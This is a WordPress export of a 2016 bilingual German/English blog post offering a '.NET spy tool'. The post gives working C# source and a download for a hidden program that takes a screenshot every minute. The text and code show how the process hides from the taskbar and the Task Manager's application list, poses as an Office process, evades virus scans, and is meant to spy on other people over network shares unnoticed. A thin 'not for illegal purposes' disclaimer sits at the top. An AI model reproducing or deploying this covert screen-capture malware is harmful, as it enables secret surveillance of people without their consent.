{"id":1648,"date":"2016-02-11T16:59:10","date_gmt":"2016-02-11T15:59:10","guid":{"rendered":"http:\/\/www.capri-soft.de\/blog\/?p=1648"},"modified":"2016-03-04T08:21:23","modified_gmt":"2016-03-04T07:21:23","slug":"net-spionagetool-tool-was-periodisch-screenshots-erzeugt-screenshot-tool-spy-tool","status":"publish","type":"post","link":"https:\/\/www.capri-soft.de\/blog\/?p=1648","title":{"rendered":".NET: Spionagetool \/ Tool was periodisch Screenshots erzeugt \/ Screenshot tool \/ Spy Tool"},"content":{"rendered":"<h1>Terms of use &#8211; Nutzungbedingungen<\/h1>\n<p>Do not use this for illegal purposes. This is a free tool to demonstrate how you can spy third persons or just generate screenshots in a folder (maybe a netdrive).<\/p>\n<p>Dieses Tool darf nicht f\u00fcr illegale Zwecke genutzt werden und dient lediglich der Demonstration von Prozessen, die komplett versteckt im Hintergrund und unentdeckt Spionageaktivit\u00e4ten erm\u00f6glichen.<\/p>\n<h1>Warranty &#8211; Garantie<\/h1>\n<p>I promise that this file is absolutely virus free and will not damage anything or give data to third persons!<br \/>\nIch verspreche dass dieses Tool absolut virusfrei ist und keinen Schaden am Rechner anrichtet, geschweige denn Daten an dritte Personen weitergibt.<\/p>\n<h1>Description &#8211; Beschreibung<\/h1>\n<p>A hidden tool shall generate periodic screenshots every minute (i.e on a net drive or the directory it has been started in) and be stopable remotely.<br \/>\nEin unentdeckbares Tool generiert jede Minute periodisch Screenshots in dem Verzeichnis, in dem es gestartet wurde (z.B. auf einem Netzlaufwerk) und es auch zur Not gestoppt werden kann.<\/p>\n<h1>Approach &#8211; Ansatz<\/h1>\n<p>A hidden executed process is running in the background, which is not shown in the task bar and labeled as MS Office process in the Task Manager.<br \/>\nEin versteckter Prozess gibt sich als Microsoft Office Anwendung aus und ist nicht im Taskmanager unter &#8222;Anwendungen&#8220; auffindbar. Er wird nicht in der Taskbar angezeigt.<\/p>\n<h1>Prerequirements &#8211; Vorraussetzungen<\/h1>\n<ul>\n<li>.NET Framework<\/li>\n<li>Someone can execute the process on a netdrive \/ Jemand muss die Exe am Netzlaufwerk vorher starten<\/li>\n<\/ul>\n<h1>Solution &#8211; L\u00f6sung<\/h1>\n<ul>\n<li>Download and unpack the following tool on a netdrive: <a href=\"https:\/\/www.capri-soft.de\/blog\/?attachment_id=1649\" rel=\"attachment wp-att-1649\">ScreenshotTool<\/a><\/li>\n<li>Double click the process (this will not damage s.th. on the computer!!!)<\/li>\n<li>The tool is producing a screenshot every minute in the folder it has been started in.<\/li>\n<li>To stop the tool, rename close_.txt to close.txt (otherwise a restart of the computer will stop the process and there is nothing pointing to it).<\/li>\n<\/ul>\n<h1>Fazit<\/h1>\n<p>On the screenshot you see the only hint to recognize the running tool. It is not shown in the Task Manager. Via Filesharing\/Samba it is possible to spy other persons in a network without getting discovered by virus scans.<\/p>\n<h1><a href=\"https:\/\/www.capri-soft.de\/blog\/?attachment_id=1652\" rel=\"attachment wp-att-1652\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" data-attachment-id=\"1652\" data-permalink=\"https:\/\/www.capri-soft.de\/blog\/?attachment_id=1652\" data-orig-file=\"https:\/\/i0.wp.com\/www.capri-soft.de\/blog\/wp-content\/uploads\/2016\/02\/taskmanager.png?fit=636%2C455&amp;ssl=1\" data-orig-size=\"636,455\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"taskmanager\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/www.capri-soft.de\/blog\/wp-content\/uploads\/2016\/02\/taskmanager.png?fit=474%2C339&amp;ssl=1\" class=\"alignnone size-full wp-image-1652\" src=\"https:\/\/i0.wp.com\/www.capri-soft.de\/blog\/wp-content\/uploads\/2016\/02\/taskmanager.png?resize=474%2C339&#038;ssl=1\" alt=\"taskmanager\" width=\"474\" height=\"339\" srcset=\"https:\/\/i0.wp.com\/www.capri-soft.de\/blog\/wp-content\/uploads\/2016\/02\/taskmanager.png?w=636&amp;ssl=1 636w, https:\/\/i0.wp.com\/www.capri-soft.de\/blog\/wp-content\/uploads\/2016\/02\/taskmanager.png?resize=300%2C215&amp;ssl=1 300w\" sizes=\"auto, (max-width: 474px) 100vw, 474px\" \/><\/a><\/h1>\n<p>&nbsp;<\/p>\n<h1>Code<\/h1>\n<pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\r\nusing System;\r\nusing System.Collections.Generic;\r\nusing System.ComponentModel;\r\nusing System.Data;\r\nusing System.Drawing;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing System.Windows.Forms;\r\nusing System.Drawing.Imaging;\r\nusing System.IO;\r\n\r\nnamespace screenshot\r\n{\r\n    public partial class Form1 : Form\r\n    {\r\n        \/\/ Die Dateien werden im Pfad erzeugt, wo die Exe gestartet wird\r\n        public string outputPath = Application.StartupPath;\r\n\r\n        public Form1()\r\n        {\r\n            InitializeComponent();\r\n\r\n            \/\/ Das Fenster bekommt keinen Border Style\r\n            this.FormBorderStyle = FormBorderStyle.None;\r\n\r\n            \/\/ Das Fenster wird nicht in der Task Bar angezeigt\r\n            this.ShowInTaskbar = false;\r\n        }\r\n\r\n        \/\/ Entfernt das Programm aus dem Taskmanager -&gt; Anwendungen\r\n        protected override CreateParams CreateParams\r\n        {\r\n            get\r\n            {\r\n                var cp = base.CreateParams;\r\n                cp.ExStyle |= 0x80;  \/\/ Turn on WS_EX_TOOLWINDOW\r\n                return cp;\r\n            }\r\n        }\r\n         \r\n        \/\/ Erzeuge einen Screenshot\r\n        private void button1_Click(object sender, EventArgs e)\r\n        {\r\n            \/\/ Pr\u00fcfe ob eine close.txt existiert\r\n            if (File.Exists(@&quot;&quot; + outputPath + &quot;\\\\close.txt&quot;))\r\n            {\r\n                this.Close();\r\n            }\r\n\r\n\r\n            \/\/ this.Opacity = 0.0;  \/\/ Verstecken der Form vor dem Screencopy\r\n \r\n            \/\/ Screencopy erstellen und in BildschirmBMP ablegen\r\n            Screen   Bildschirm      = Screen.PrimaryScreen; \/\/ Hauptbildschirm\r\n \r\n            using (Bitmap BildschirmBMP = new Bitmap(Bildschirm.Bounds.Width, \/\/ Ziel-Bitmap\r\n                                          Bildschirm.Bounds.Height,\r\n                                          PixelFormat.Format24bppRgb))\r\n            {\r\n                using (Graphics BildschirmGR = Graphics.FromImage(BildschirmBMP))\r\n                {\r\n                    \/\/ Graphics erzeugen\r\n                    BildschirmGR.CopyFromScreen(Bildschirm.Bounds.X, \r\n                                                Bildschirm.Bounds.Y, \/\/ Abbild erstellen \r\n                                                0, \r\n                                                0,\r\n                                                BildschirmBMP.Size);\r\n                }\r\n\r\n                \/\/ this.Opacity = 1.0;  \/\/ Wieder anzeigen der Form nach dem Screencopy\r\n\r\n                \/\/ Screencopy speichern mit Datum ein Zeitstempel\r\n                BildschirmBMP.Save(outputPath + @&quot;\\output_&quot; + DateTime.Now.Year + \r\n                &quot;-&quot; + DateTime.Now.Month + &quot;-&quot; + DateTime.Now.Day + &quot;__&quot; + \r\n                DateTime.Now.Hour + &quot;_&quot; + DateTime.Now.Minute + &quot;_&quot; + \r\n                DateTime.Now.Second + &quot;.png&quot;); \/\/ Nur mal so zum speichern\r\n            }\r\n\r\n        }\r\n\r\n        \/\/ Rufe jede Sekunde auf (Timer ist ein Toolbox Element)\r\n        private void timer1_Tick(object sender, EventArgs e)\r\n        {\r\n            \/\/ Jede Sekunde ausf\u00fchren\r\n            button1_Click(null, null);\r\n        }\r\n\r\n        \/\/ Sobald das Programm gestartet ist, starte den Timer\r\n        private void Form1_Load(object sender, EventArgs e)\r\n        {\r\n            \/\/ Beim Start einmal ausf\u00fchren\r\n            button1_Click(null, null);\r\n            timer1.Start();\r\n        }\r\n    }\r\n}\r\n\r\n<\/pre>\n<iframe src=\"http:\/\/www.facebook.com\/plugins\/like.php?href=https%3A%2F%2Fwww.capri-soft.de%2Fblog%2F%3Fp%3D1648&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\" style=\"border:none; overflow:hidden; width:450px;margin-top:5px;\"><\/iframe>","protected":false},"excerpt":{"rendered":"<p>Terms of use &#8211; Nutzungbedingungen Do not use this for illegal purposes. This is a free tool to demonstrate how you can spy third persons or just generate screenshots in a folder (maybe a netdrive). Dieses Tool darf nicht f\u00fcr illegale Zwecke genutzt werden und dient lediglich der Demonstration von Prozessen, die komplett versteckt im &hellip; <a href=\"https:\/\/www.capri-soft.de\/blog\/?p=1648\" class=\"more-link\"><span class=\"screen-reader-text\">.NET: Spionagetool \/ Tool was periodisch Screenshots erzeugt \/ Screenshot tool \/ Spy Tool<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[4,1,31,26],"tags":[],"class_list":["post-1648","post","type-post","status-publish","format-standard","hentry","category-net","category-allgemein","category-spass-und-spiel","category-unsinn"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4yGeN-qA","jetpack_likes_enabled":true,"jetpack-related-posts":[],"_links":{"self":[{"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1648","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1648"}],"version-history":[{"count":4,"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1648\/revisions"}],"predecessor-version":[{"id":1651,"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1648\/revisions\/1651"}],"wp:attachment":[{"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1648"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1648"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.capri-soft.de\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1648"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}